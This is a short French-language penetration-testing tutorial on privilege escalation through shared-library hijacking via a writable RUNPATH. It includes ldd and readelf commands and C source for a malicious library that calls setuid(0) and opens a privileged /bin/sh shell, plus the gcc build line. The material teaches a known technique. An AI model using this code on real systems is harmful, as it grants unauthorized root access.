Un binaire peut parfois utiliser des librairies non standards, il est parfois possible de remplacer cette librairie par une autre qui nous accorderait des droits supplémentaires.
On analyse quelles librairies sont utilisées par l'exécutable:
```bash
ldd LeBinaire
```
```bash
linux-vdso.so.1 => (0x00007ffcb3133000)
libshared.so => /lib/x86_64-linux-gnu/libshared.so (0x00007f7f62e51000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f7f62876000)
/lib64/ld-linux-x86-64.so.2 (0x00007f7f62c40000)
```
On peut ensuite utiliser "readelf" afin de voir si ces librairies ne peuvent pas être loadées depuis un autre endroit:
```bash
readelf -d LeBinaire | grep PATH
0x000000000000001d (RUNPATH) Library runpath: [/development]
```
Si le dossier est writeable, il est alors possible de remplacer cette librairie par une autre:
```bash
nano -w /development/libshared.c
```
```c
#include<stdio.h>
#include<stdlib.h>
void dbquery() {
printf("Malicious library loaded\n");
setuid(0);
system("/bin/sh -p");
}
```
```bash
gcc /development/libshared.c -fPIC -shared -o /development/libshared.so
```
Pendant l'exécution du programme "LeBinaire", notre librairie est appelée et lancera la commande définie avec les droits de l'utilisateur de "LeBinaire".